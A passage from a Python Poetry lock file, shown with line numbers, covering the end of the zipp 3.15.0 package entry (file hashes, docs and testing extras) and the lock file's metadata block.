wrapper for zip files" 517 | category = "main" 518 | optional = false 519 | python-versions = ">=3.7" 520 | files = [ 521 | {file = "zipp-3.15.0-py3-none-any.whl", hash = "sha256:48904fc76a60e542af151aded95726c1a5c34ed43ab4134b597665c86d7ad556"}, 522 | {file = "zipp-3.15.0.tar.gz", hash = "sha256:112929ad649da941c23de50f356a2b5570c954b65150642bccdd66bf194d224b"}, 523 | ] 524 | 525 | [package.extras] 526 | docs = ["furo", "jaraco.packaging (>=9)", "jaraco.tidelift (>=1.4)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-lint"] 527 | testing = ["big-O", "flake8 (<5)", "jaraco.functools", "jaraco.itertools", "more-itertools", "pytest (>=6)", "pytest-black (>=0.3.7)", "pytest-checkdocs (>=2.4)", "pytest-cov", "pytest-enabler (>=1.3)", "pytest-flake8", "pytest-mypy (>=0.9.1)"] 528 | 529 | [metadata] 530 | lock-version = "2.0" 531 | python-versions = "^3.9" 532 | content-hash = "c8f2fb68c520fba03c5b45d14036869fc343a46901f35e5e573c14ec016fa1d3" 533 | --------------------------------------------------------------------------------